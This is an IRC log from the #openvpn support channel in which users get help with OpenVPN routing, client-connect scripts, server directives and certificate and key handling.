10:25 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
10:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:40 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:41 -!- mode/#openvpn [+v s7r] by ChanServ
10:41 < pagios> can i keep the tunnel established if the script fails to load?
10:42 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
10:42 < Lars_G> What was the trigger please?
10:43 < Lars_G> !clientlan
10:43 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
10:43 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
10:43 < Lars_G> yes
10:45 < Lars_G> Sorry but that flowchart doesn't help me
10:46 < EugeneKay> I'm hungry
10:46 < EugeneKay> Lars_G - you want to use a ccd with "iroute blah"
10:47 < EugeneKay> See the chart ;-)
10:47 < EugeneKay> IOW, your ccd is wrong
10:47 < Lars_G> No, it's not :)
10:48 < EugeneKay> If it wasn't it would work right.
10:48 < EugeneKay> Really. I'm not just making this up or calling you stupid.
10:48 < Lars_G> I know you're not
10:48 < Lars_G> this is my ccd: iroute 172.17.2.0 255.255.255.0
10:48 < EugeneKay> And what are your route / push "route" lines?
10:48 < Lars_G> One second
10:49 < Lars_G> push "route 172.17.2.0 255.255.255.0"
10:49 < Lars_G> route 172.17.2.0 255.255.255.0
10:50 < EugeneKay> And what's the ccd file's name?
10:50 < EugeneKay> And the CN field of the client.crt
10:50 < Lars_G> Oh....
10:50 < EugeneKay> <EugeneKay> IOW, your ccd is wrong
10:50 < EugeneKay> !EugeneKay
10:50 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
10:51 < Lars_G> :P
10:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
10:58 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 245 seconds]
11:05 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
11:05 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:08 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
11:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
11:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:26 <@dazo> hmmm ... this looks kind of interesting .... http://www.vanheusden.com/entropybroker/
11:26 <@vpnHelper> Title: Entropy Broker (at www.vanheusden.com)
11:27 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Operation timed out]
11:33 -!- manitou [~manitou@unaffiliated/manitou] has joined #openvpn
11:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 255 seconds]
11:41 < manitou> me again ! :) i setup openvpn and everithig work fine , just one thing , when i connect to openvpn from external internet connection it show ip of my home (provider)where is openvpn server , is this ok ? (i use chipper)
11:42 -!- Masxmasx{AFK} is now known as Masxmasx
11:42 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
11:42 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
11:42 < Lars_G> Sigh
11:43 < Lars_G> Ok, true, I'll need to either setup SNAT on my client, or route back
11:43 < Lars_G> There
11:44 < pekster> manitou: Perhaps you're using --redirect-gateway causing traffic to be redirected?
11:45 < pekster> I can't say if this is okay or not; did you intend for this behaviour?
11:47 < manitou> pekster: yes for me only
11:49 < manitou> im just building one on raspberry pi , just got one , trying to find some nice guide for it ,
11:54 < manitou> pekster: you think about    ?     push “redirect-gateway def1"
11:54 < pagios> how can i extract the client name / ip variables using the client-execute  script ?
11:55 < pekster> manitou: You want to know what I *think* about the option? Use it if you want the behaviour it provides…
11:56 < pagios> for example i want to get $CLIENT_NAME and use it in my script when a client connects to the tunnel
11:56 < pekster> pagios: See the env-vars under the manpage section titled "SCRIPTING AND ENVIRONMENTAL VARIABLES"
11:58 < pagios> pekster: yes i see it but how can i use it ? $trusted_ip for example in my script ?
11:59 < pagios> how are these variables sent to the script? as arguments?
11:59 < pekster> They're passed as environmental variables (hence the section name)
11:59 < pekster> So yes, if you're using bash, "echo $trusted_ip" will echo that
11:59 < pagios> thanks
12:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:07 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 248 seconds]
12:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
12:26 < pagios> pekster: looks like no variable store the actual MAC Address of the client address
12:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:30 < pekster> pagios: What possible use is that? It only ever matters in a tap (not tun) context, and it's an ephemeral (temporary, and virtual) address
12:30 < pagios> to know which client that is
12:31 < pekster> No, that won't help you. Use the common name of the client
12:31 < pekster> And are you using tap? Why?
12:31 < pekster> !tunortap
12:31 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
12:31 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
12:31 < pagios> no using tun
12:31 < pagios> which variable is the client name i dont see it
12:33 < pagios> common_name
12:33 < pagios> ok
12:34 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Remote host closed the connection]
12:36 -!- dazo is now known as dazo_afk
12:37 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Ping timeout: 260 seconds]
12:39 -!- mitz [~mitz@222.227.247.6] has joined #openvpn
12:40 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
12:47 -!- mitz [~mitz@222.227.247.6] has quit [Ping timeout: 272 seconds]
12:49 -!- manitou [~manitou@unaffiliated/manitou] has quit [Quit: Konversation terminated!]
12:50 -!- pagios_ [~pagios@46.19.194.83] has joined #openvpn
12:50 -!- pagios [~pagios@46.19.194.80] has quit [Ping timeout: 240 seconds]
12:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:56 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
12:57 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Read error: Operation timed out]
12:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:02 < pagios_> i am getting this error:  MULTI: no dynamic or static remote --ifconfig address is available for client1
13:03 < pagios_> even though i configured ipaddress on both, switched
13:11 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
13:11 < pekster> Pastebin your configs somewhere. Sounds like a misconfiguration where the server needs to provide the client with an IP but one isn't configured
13:11 < pekster> !configs
13:11 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:14 < pagios_> pekster: this is my server configuration http://pastebin.com/xgg3ETr0
13:14 < pagios_> let me get rthe client one
13:15 < pekster> Put the test.sh up too
13:15 < pagios_> ok
13:15 < pagios_> client: http://pastebin.com/9N8gf5Hs
13:16 < pagios_> test.sh: echo "Client connected at `date` " >> /tmp/log.txt
13:16 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has quit [Ping timeout: 252 seconds]
13:19 < pekster> Don't define the IP on the client like that. In a multi-client server (which you have created by using `mode server`) you should push the IP to the client
13:19 < pagios_> ok
13:19 < pekster> Use `mode p2p` if you wanted a Point-to-Point setup
13:20 < pagios_> no actually i have like 10 clients connecting to this vpn
13:20 < pagios_> so better to use client/server model
13:20 < pagios_> --server 10.8.0.0 255.255.255.0 would be enough command to put a dhcp to the clients right
13:20 < pekster> Then don't use ifconfig at all on the client side, and use `--pull` , or perhaps just `--client` to include the tls-client portion too
13:21 < pagios_> an on server: --server 10.8.0.0 255.255.255.0
13:21 < pagios_> should be enough
13:21 < pekster> Sure, that removes the need for you to have any of the --ifconfig, --mode server --tls-server or --ping directives. See the manpage for the expansion
13:22 < pagios_> even the dhcp pool
13:22 < pekster> Yes; see the manpage
13:22 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 252 seconds]
13:22 < pagios_> yes i am reading it
13:22 < pagios_> thanks
13:23 < pekster> --server just a helper-directive to configure the "most common" use-case; you can generally use it as-is unless you have exotic needs requiring you to expand it on your own to tweak the defaults
13:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
13:32 < pagios_> it works fine now
13:32 < pagios_> but yea --server has some limitations for example client number and dhcp pool ip
13:32 < pagios_> s
13:34 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
13:34 < pekster> You'll generally run into threading (openvpn is single-threaded) or CPU-bound issues before you run out of IPs, at least in a /24. Use subnet topology to avoid wasting 75% of your IP space too:
13:34 < pekster> !topology
13:34 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:35 < pekster> One of the more common reasons to avoid use of --server is when you want to reduce the pool range for static IPs handed out via ccd or --client-connect scripts
13:37 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:38 < jzaw> anyone use openvpn on a ubiquiti edgerouter lite ?
13:44 -!- delinquentme [~asdfasdf@64-13-15-38.eug.clearwire-dns.net] has joined #openvpn
13:44 < delinquentme> so what is a challenge password?
13:44 < delinquentme> is this specifically associated with the CAs ... or does this pertain to the login creds for the server?
13:46 < pekster> It's effectively worthless and you can happily pretend it doesn't exist as far as openvpn is concerned
13:47 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 252 seconds]
13:48 < delinquentme> pekster, ok awesome
13:48 -!- flujan [~flujan@189.111.106.4] has joined #openvpn
13:48 < delinquentme> pekster, is there some wiki article I could read for more info?
13:49 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
13:49 < flujan> hello guys, I have installed openvpn and have it running for a network 172.27… Now I need to create another server to run the network 10.0.0. Can I use the same machine for both servers? How to generate a different key for each server?
13:49 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
13:52 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
13:53 < pekster> delinquentme: It's left-over cruft from the way Easy-RSA 2.x copied the default openssl.cnf without really intending all of the behaviour traits that came along with that decision. Here's some historical info: http://markmail.org/message/uwcqhlt6tkcajvyl (go google `openssl "challenge password"` on your own if you care enough, but it's really unimportant)
13:53 <@vpnHelper> Title: Re: Challenge Password - Newbie question - Charles B Cranston - org.openssl.openssl-users - MarkMail (at markmail.org)
13:56 < delinquentme> pekster, <3 +1
13:56 < pekster> flujan: If you want it to be part of the same PKI, you can either re-use the same cert on another instance, or create a 2nd server cert. You're free to create a completely separate PKI too, although then they won't interoperate as you expect
13:58 < flujan> pekster: but the build-key command to generate client keys? How can I specify the server to it?
13:58 < pekster> build-key-server perhaps?
13:58 < pekster> !howto
13:58 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:01 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has joined #openvpn
14:01 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has quit [Client Quit]
14:02 < flujan> pekster: About this step: Generate certificates & keys for 3 clients. I wanna to generate a key for client 1 to connect on server 1 the same key for server 2 will use the 10.0.0.x IP range how can I specify it?
14:02 < flujan> pekster: sorry, I didn't get it and didn't found a example on the documentation.
14:03 < pekster> I can't parse your question
14:03 < pekster> Are you trying to get the client to connect to either VPN instance with the same keypair on the client end?
14:04 < flujan> pekster: I wanna to set up two openvpn servers on the same machine running two different ip ranges for the clients…
14:05 < delinquentme> ok so to get this setup and running .... I need to generate certs on my client machine ( the laptop Im working off of )
14:05 < flujan> pekster: today I have a vpn set up using range 172.27.x.x to the clients.
14:05 < delinquentme> as well as get access to the machine I"m trying to VPN INTO ... and generate certs there right?
14:06 < flujan> pekster: two servers for multiple clients on the same machine…
14:07 < delinquentme> so "Client Certificates"  on this tutorial:https://help.ubuntu.com/11.10/serverguide/openvpn.html
14:07 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
14:07 < delinquentme> these are commands which should be run on the server right?
14:07 < delinquentme> and the subsequent steps 1, 2, 3 ... should be copied from the server ... to the client machine right?
14:08 < pekster> flujan: So do that. Re-use the server cert (or at least the same PKI for each server's cert) if you want the clients to re-use the same credentials. Use a new PKI if you don't.
14:08 < pekster> delinquentme: Use the officical openvpn howto
14:09 < delinquentme> i guess that means I"m not on the official one? -_-
14:09 < pekster> Or get support from downstream
14:09 < delinquentme> http://openvpn.net/index.php/open-source/documentation/howto.html
14:09 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:10 < pekster> Right. You linked an ubuntu guide (#ubuntu would be more appropriate if you want to use their guide)
14:10 < pekster> Ideally you never generate a private key on any system other than the one *using* it
14:12 < EugeneKay> Ideas suck
14:12 < EugeneKay> As long as you can securely move the key from where you generate it(and sign the cert) to where it's being used, eh. It's fine by me.
14:12 < EugeneKay> I do it out of laziness. Moving a CSR onto my key-signing machine and then the resultant CRT off is harder than just making the key+cert on it and moving them off together.
14:13 < pekster> Keeping the PKI on the OpenVPN server is needless and not secure since a compromise of that internet-connected system (with the CA keypair) compromises the entire PKI
14:13 < pekster> Then again, that doesn't stop people from doing it. It's "probably" fine. So is hiding a housekey under your doormat
14:13 < EugeneKay> Sure does. But if the PKI is only ever used for openvpn....
14:13 < delinquentme> EugeneKay, so thats like grabbing a thumb driver and sticking it in there
14:14 < delinquentme> I was thinking SSH ... but I was told I cant SSH into this machine outside the VPN?
14:14 < delinquentme> does this sound right?
14:14 < EugeneKay> I use SSH.
14:15 < delinquentme> I mean that seems like the way to get them off the server into the client machine ja?
14:15 < EugeneKay> Never rule out magic pixie dust.
14:15 < delinquentme> haha
14:15 < delinquentme> ok well does openVPN *only* work with dual auth?
14:15 < pekster> dual?
14:15 < pekster> X509 is a single authentication scheme
14:16 < EugeneKay> openvpn can be set up with no auth at all if you really want.
14:16 < delinquentme> excuse me bi-directional auth
14:16 < EugeneKay> Bidirectional x509 auth is the suggested way
14:17 < delinquentme> ok so one person is saying X509 is bi-dir .. and someone else is saying single
14:17 < delinquentme> are these not mutually-exclusive?
14:17 < pekster> Okay, "dual auth" and "bi-directional auth" are different things
14:17 < pekster> Dual-factor authentication is the use of 2 independent tokens (eg: X509 and a username+pass, or time-based OTP)
14:18 < delinquentme> and bi-directional is client authing server and vice versa
14:18 < pekster> In a multi-client situation, only the server "needs" a cert; you're free to authenticate clients by a user/pass if you want (see --auth-user-pass-verify)
14:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
14:22 -!- flujan [~flujan@189.111.106.4] has left #openvpn []
14:28 < delinquentme> pekster, and I should get the server to generate a key for me as an individual client
14:28 < delinquentme> right?
14:30 < pekster> You should generate one wherever you like and sign it by your PKI
14:30 < pekster> If you've kept your PKI on your server, then yes
14:31 < pekster> The key generation and signing are separate steps. Easy-RSA hides this all from you and does it "automagically"
14:32 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has joined #openvpn
14:33 < delinquentme> easy rsa is an auth type though ... and openVPN can use this auth protocol?
14:33 < delinquentme> right now I"m trying to figure out how people are connected to this VPN without having to transport a key physically on USB stick .. or sshing it in
14:34 < pekster> easy-rsa is a set of scripts to generate X509 keypairs and a PKI. TLs is the protocol that uses X.509 certificates as the authentication
14:34 < pekster> TLS*
14:35 < pekster> You don't need to trnasport the keys anywhere is my point. In fact, for better security you should not transport keys anywhere
14:35 < pekster> You "can" do that if you'd like (generate+sign on a remote system, then ship the bundle to a client, and then provide them with the password.)
14:38 < delinquentme> OOHHH kay. So I've recieved a .ovpn   a .key file and a two .crt files
14:38 < delinquentme> so these would be the certs for the server
14:45 < pppingme> Does the iOS openvpn client support both tap and tun?  Android just supports tun, right?
14:47 < Aketzu> ios client supports only tun
14:48 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 264 seconds]
14:50 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
14:50 < delinquentme> email doesn't quite count for copying keys over securely huh?
14:51 < delinquentme> even if its gmail?
14:51 < pekster> Not unless you're gpg encrypting them
14:51 < pekster> Generate keys locally for security
14:51 < pekster> Or decide you don't care about security that much
14:52 < pekster> It's really quite simple. Generate a keypair locally, send the CSR (certificate signing request, sometimes a .csr or .req file) to your PKI. The CA signs it, and returns the .crt file. The .req and .crt files are public and can be sent fine over insecure channels
14:53 < pekster> easy-rsa can do that with the build-req-pass and sign-req scripts
14:53 < pekster> Run the former on your VPN peer and the latter on the PKI system housing the CA
14:54 < pekster> Or use the "do it all for me" script and worry about sending private keys over the Internet
14:57 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:03 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
15:06 < delinquentme> simplest way to disable the openVPN server I setup?
15:07 < delinquentme> when running /etc/init.d/openvpn start  I get a failure on the server startup ... so I'd b e cool just disabling it :D
15:09 < delinquentme> got it! removed server.conf :D
15:10 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has joined #openvpn
15:18 < delinquentme> I dont need an openVPN server ... if I'm only accessing someone elses server ... as a client .. right?
15:32 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:33 < delinquentme> /etc/openvpn/easy-rsa/keys/hostname.crt (Where hostname is the hostname of the client)
15:33 < delinquentme> hostname ... would be "thrive" if the user im using is /home/thrive   on ubuntu
15:33 < delinquentme> right?
15:33 < delinquentme> IE the local user who I'm using to VPN into the server with
15:34 -!- digilink [~digilink@unaffiliated/digilink] has quit [Read error: Connection reset by peer]
15:36 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
15:39 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 246 seconds]
15:41 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
15:43 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
15:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:49 < delinquentme> can .ovpn files be substituted for .key files?  It looks like I need 2 *.crt and 2 *.key files
15:50 < delinquentme> I was given 2 *.crt 1 .key and 1 .ovpn
15:53 < pekster> Follow the howto if you're creating your own setup
15:53 < pekster> If this is someone else's setup, go talk to them
15:53 < pekster> !provider
15:53 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
15:54 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has quit [Ping timeout: 252 seconds]
15:56 < delinquentme> yeah this is a small startup
15:56 < delinquentme> IDK how much theyre familiar with
15:57 < pekster> !both
15:57 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:57 < pekster> If you aren't setting this up, go find the person who is
15:58 < pekster> The howto explains quite clearly what PKI files are needed on what systems. No system ever needs "two" key files
15:58 < pekster> !howto
15:58 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:59 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has joined #openvpn
16:01 -!- pagios__ [~pagios@46.19.194.111] has joined #openvpn
16:02 < delinquentme> is the semi-colon some kind of comment out?
16:02 < pekster> !comment
16:02 <@vpnHelper> "comment" is you can use ; or # to make comments in the config file
16:02 -!- pagios_ [~pagios@46.19.194.83] has quit [Ping timeout: 260 seconds]
16:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
16:04 < delinquentme> the other thing is these crt files look functionally different ...  one I think its a cert .. and the other is a private key
16:04 < delinquentme> possibly mislabeled ...
16:05 < delinquentme> one looks like this: http://en.wikipedia.org/wiki/X.509#Sample_X.509_certificates
16:05 <@vpnHelper> Title: X.509 - Wikipedia, the free encyclopedia (at en.wikipedia.org)
16:05 < delinquentme> ( sorry guys I wanna figure this out ... and if anyone wants to help )
16:05 < pekster> Open them up. It's really obvious when one says -----BEGIN CERTIFICATE----- and another says -----BEGIN PRIVATE KEY-----
16:05 < delinquentme> its one of those street cred things :D ... trying ot make a good impression
16:06 < pekster> You're more of less beyond helping. If aren't the person who set this up, go talk to them
16:07 < pekster> All the client needs in a "standard" set up is the config file, CA cert, an entity cert, and entity private key
16:07 < pekster> If you have that, you're set. If not, go fix it
16:09 < delinquentme> yeah so then one is the --------------------BEGIN CERTIFICATE--------------------  but then one looks like the above link
16:09 < delinquentme> so one is a X.509 and the one labled -------------- BEGIN CERTIFICATE--------------------  is not a X.509
16:09 < pekster> None of the text matters
16:10 < pekster> *all* of the keypairs (certs and keys) openvpn uses have an ASCII-armored header with the leading dashes
16:10 < pekster> So "looks like" some link is completely irrevelent
16:10 < delinquentme> sure but im trying to figure out what this file which is structured like this: http://en.wikipedia.org/wiki/X.509#Sample_X.509_certificates
16:10 < delinquentme> is doing there
16:10 <@vpnHelper> Title: X.509 - Wikipedia, the free encyclopedia (at en.wikipedia.org)
16:10 < delinquentme> that isn't a key ... thats the cert.
16:10 < pekster> Those arenot certificates
16:11 < pekster> Those are text reprenstations of the data in the cert
16:11 < delinquentme> OHhhh
16:11 < pekster> And the fact that you don't understand any of this means you really shouldn't be trying to FIX any of thise
16:11 < pekster> Go talk to your systadmin
16:11 < delinquentme> bleh.
16:11 < pekster> And then complain to your boss that your admin team is clueless enough to let you fend for yourself instead of helping you use their VPN product
16:11 < delinquentme> dont have a real one
16:12 < delinquentme> and hes busy
16:12 < delinquentme> haha I would but this is a startup :D
16:12 < delinquentme> thanks pekster I understand where you're coming from ... ill see what I can sort from here
16:12 < pekster> And the person who set this up can't spare 5 minutes to walk you through its use?
16:13 < delinquentme> Im also not trying to make them look like a fool if they effed it up
16:13 < delinquentme> these guys are like physics and optics kids
16:13 < pekster> It's probably fine. They failed to document or explain to end-users (you) how to use it. That's a coprorate failure, not a technical one
16:13 < delinquentme> =]
16:13 < delinquentme> <pekster> All the client needs in a "standard" set up is the config file, CA cert, an entity cert, and entity private key <<<
16:14 < delinquentme> this is le halpfuls
16:14 < delinquentme> if I could buy you an icecream I would
16:16 < pekster> It's all documented in the howto http://openvpn.net/index.php/open-source/documentation/howto.html#pki.key_files
16:16 <@vpnHelper> Title: HOWTO (at openvpn.net)
16:16 < pekster> Erm
16:17 < pekster> http://openvpn.net/index.php/open-source/documentation/howto.html#pki <-- that, look for the 'key files' heading
16:17 <@vpnHelper> Title: HOWTO (at openvpn.net)
16:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:17 < pekster> Effectively your company is the provider of the VPN. And,
16:17 < pekster> !provider
16:17 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
16:19 < delinquentme> OMGGGGG
16:19  * delinquentme pensive
16:19 < kisom> delinquentme: That attitude works better somewhere else.
16:20 < kisom> delinquentme: Read the manual, everyone here already did.
16:20 < delinquentme> nah I mean I think its starting as its supposed to kisom
16:20 < delinquentme> like i got the desired output ... so im moving forward
16:22 < kisom> Right. I'm not goint to read the scrollback, so no comment :)
16:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
16:31 < delinquentme> =]
16:39 -!- delinquentme [~asdfasdf@64-13-15-38.eug.clearwire-dns.net] has quit [Read error: Connection reset by peer]
16:53 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:59 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has left #openvpn ["Leaving"]
17:01 -!- delinquentme [~asdfasdf@208-90-212-136.PUBLIC.monkeybrains.net] has joined #openvpn
17:02 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
17:04 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
17:07 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has quit [Quit: Leaving]
17:10 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
17:15 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
17:26 -!- manitou [~manitou@unaffiliated/manitou] has joined #openvpn
17:28 < manitou> if i setup openvpn on raspberry pi at my home and i get to EX. Germany (im from bosnia) i get always Bosnian ip (there is openvpn server )   ?
17:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 272 seconds]
17:37 -!- delinquentme [~asdfasdf@208-90-212-136.PUBLIC.monkeybrains.net] has quit [Ping timeout: 272 seconds]
17:40 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
17:45 -!- manitou [~manitou@unaffiliated/manitou] has quit [Read error: No route to host]
17:45 -!- manitou [~manitou@3e6b8011.rev.stofanet.dk] has joined #openvpn
17:50 -!- manitou [~manitou@3e6b8011.rev.stofanet.dk] has quit [Changing host]
17:50 -!- manitou [~manitou@unaffiliated/manitou] has joined #openvpn
17:50 < manitou> if i setup openvpn on raspberry pi at my home and i get to EX. Germany (im from bosnia) i get always Bosnian ip (there is openvpn server )   ?
17:50 < manitou> and my network is unstable !
17:51 < manitou> ups double post sry :)
17:51 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:51 < pekster> You asked the same crap yesterday. The answer hasn't changed.
17:51 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
17:51 < Kalavera> greetings guys is there a way to establish a vpn connection when both sides has the same IP range ?
17:52 < pekster> Kalavera: Yes. Fix your networks so they don't overlap
17:52 < Kalavera> pekster: well I meant without changing the ip range on any of the sides
17:53 < pekster> There are some really obscene NAT hackery, but that involves bi-directional remapping of network ranges and is non-trivial. It also doesn't have anything to do with openvpn at that point as NAT is a facility provided by your OS/firewall
17:53 < pekster> So no, it's far easier to fix your networks than hack around the problem
17:53 < manitou> i didn see answer yest.  :(
17:54 < Kalavera> pekster: ok thank you just wanted to be sure
17:55 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has left #openvpn []
17:57 -!- laner [~Lane@68-191-200-142.static.stls.mo.charter.com] has joined #openvpn
17:58 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
18:06 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
18:12 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:15 -!- manitou_ [~manitou@94.191.186.23.mobile.3.dk] has joined #openvpn
18:15 -!- manitou [~manitou@unaffiliated/manitou] has quit [Ping timeout: 255 seconds]
18:20 -!- manitou_ [~manitou@94.191.186.23.mobile.3.dk] has quit [Ping timeout: 245 seconds]
18:26 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:37 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
18:37 -!- laner [~Lane@68-191-200-142.static.stls.mo.charter.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
18:41 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
18:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:14 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
19:14 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
19:15 < Sjors> Hi all
